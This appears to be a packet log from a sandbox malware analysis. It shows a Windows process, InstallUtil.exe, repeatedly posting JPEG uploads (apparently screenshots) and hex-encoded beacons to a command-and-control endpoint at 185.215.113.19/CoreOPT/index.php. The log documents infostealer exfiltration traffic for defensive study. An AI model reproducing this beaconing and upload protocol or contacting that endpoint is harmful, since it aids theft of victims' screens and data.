Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:08.072979927 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU2NzY= Host: 185.215.113.19 Content-Length: 85828 Cache-Control: no-cache
Oct 16, 2024 19:23:08.073016882 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 32 4e 7a 59 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU2NzY=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:08.073055983 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:08.073072910 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:08.073095083 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:08.073129892 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:08.073129892 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:08.073153019 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:08.073162079 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:08.073188066 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:08.073200941 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49751	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:08.654544115 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:09.661705017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49752	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:09.301177025 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODc2MTc= Host: 185.215.113.19 Content-Length: 87769 Cache-Control: no-cache
Oct 16, 2024 19:23:09.301177025 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 63 32 4d 54 63 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODc2MTc=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:09.301177025 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:09.301240921 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:09.301240921 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:09.301240921 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:09.301240921 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:09.301314116 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:09.301314116 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:09.301314116 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:09.301314116 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:10.891892910 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49753	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:09.792994976 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:10.800523043 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:10.801759005 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:11.221000910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49754	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:11.114428043 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:11.114464045 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:11.114500046 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:11.114516020 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:11.114563942 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:11.114563942 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:11.114628077 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:11.114628077 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:11.114628077 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:11.114655972 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:11.114686966 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:12.877628088 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	49755	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:11.642189980 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:12.636106968 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:12.637224913 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:13.057770014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 16, 2024 19:23:13.129096031 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:13.129096031 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:13.129096031 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:13.129148006 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:13.129148960 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:13.129148960 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:13.129228115 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:13.129228115 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:13.129228115 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:13.129281998 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:13.129281998 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:14.181124926 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	49756	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:13.200831890 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:14.210613012 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:14.211819887 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:14.631308079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	49758	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:14.385240078 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:14.385240078 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:14.385240078 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:14.385240078 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:14.386128902 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:14.386128902 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:14.386128902 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:14.386375904 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:14.386375904 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:14.386375904 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:14.386375904 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:15.999579906 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49759	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:14.780344963 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:15.792135954 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:15.793030977 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:16.212409973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

